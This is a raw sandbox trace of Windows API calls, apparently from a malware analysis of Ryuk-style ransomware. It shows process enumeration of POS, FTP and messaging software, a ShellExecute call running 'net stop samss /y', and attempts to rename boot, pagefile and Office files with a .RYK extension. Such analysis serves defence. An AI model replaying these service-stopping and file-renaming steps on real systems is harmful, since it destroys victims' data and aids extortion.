	[0270.353] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0270.359] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0270.362] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0270.364] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0270.367] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0270.369] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0270.372] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0270.374] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0270.376] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0270.378] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0270.381] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0270.383] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0270.385] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0270.387] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0270.389] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0270.392] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0270.394] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0270.549] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0270.552] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0270.554] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0270.556] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0270.558] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0270.560] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0270.562] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0270.565] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0270.567] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0270.570] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0270.572] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0270.574] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0270.577] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0270.579] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0270.581] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0270.669] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0270.671] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa0, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0270.674] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc0, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0270.676] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0270.679] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.681] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0270.683] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0270.686] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.688] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0270.690] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0270.692] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0270.694] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0270.696] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0270.698] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0270.700] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0270.701] CloseHandle (hObject=0x2500) returned 1
	[0270.701] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe4660
	[0275.020] EnumServicesStatusW (in: hSCManager=0xe4660, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0275.026] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0275.028] EnumServicesStatusW (in: hSCManager=0xe4660, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x17b5, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0275.031] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0276.953] Sleep (dwMilliseconds=0x96) 
	[0277.446] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.468] Sleep (dwMilliseconds=0xc350) 

Thread:
	id = 106
	os_tid = 0xb8c


Thread:
	id = 110
	os_tid = 0x6e8


Thread:
	id = 113
	os_tid = 0x928

	[0122.855] SetFileAttributesW (lpFileName="C:\\Boot\\BCD", dwFileAttributes=0x80) returned 0
	[0122.855] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.856] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="C:\\Boot\\BCD.RYK" (normalized: "c:\\boot\\bcd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 114
	os_tid = 0xb78

	[0122.858] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 0
	[0122.859] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.860] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Boot\\BCD.LOG.RYK" (normalized: "c:\\boot\\bcd.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 115
	os_tid = 0xa18

	[0122.862] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 0
	[0122.862] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0122.862] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0122.863] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.RYK" (normalized: "c:\\boot\\bcd.log1.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 116
	os_tid = 0x324


Thread:
	id = 117
	os_tid = 0x578

	[0123.487] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 0
	[0123.487] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.488] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.RYK" (normalized: "c:\\boot\\bcd.log2.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 119
	os_tid = 0x634

	[0123.757] SetFileAttributesW (lpFileName="C:\\hiberfil.sys", dwFileAttributes=0x80) returned 0
	[0123.758] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.758] MoveFileExW (lpExistingFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), lpNewFileName="C:\\hiberfil.sys.RYK" (normalized: "c:\\hiberfil.sys.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 120
	os_tid = 0x64c

	[0123.759] SetFileAttributesW (lpFileName="C:\\pagefile.sys", dwFileAttributes=0x80) returned 0
	[0123.759] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.760] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.760] MoveFileExW (lpExistingFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), lpNewFileName="C:\\pagefile.sys.RYK" (normalized: "c:\\pagefile.sys.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 121
	os_tid = 0x628

	[0123.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT", dwFileAttributes=0x80) returned 0
	[0123.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0123.763] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0123.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 122
	os_tid = 0x310

	[0124.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP", dwFileAttributes=0x80) returned 0
	[0124.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.148] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 123
	os_tid = 0x510

	[0124.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", dwFileAttributes=0x80) returned 0
	[0124.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.145] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 124
	os_tid = 0x5e4

	[0124.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", dwFileAttributes=0x80) returned 0
	[0124.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 125
	os_tid = 0x7dc

	[0124.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT", dwFileAttributes=0x80) returned 0
	[0124.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 126
	os_tid = 0x798

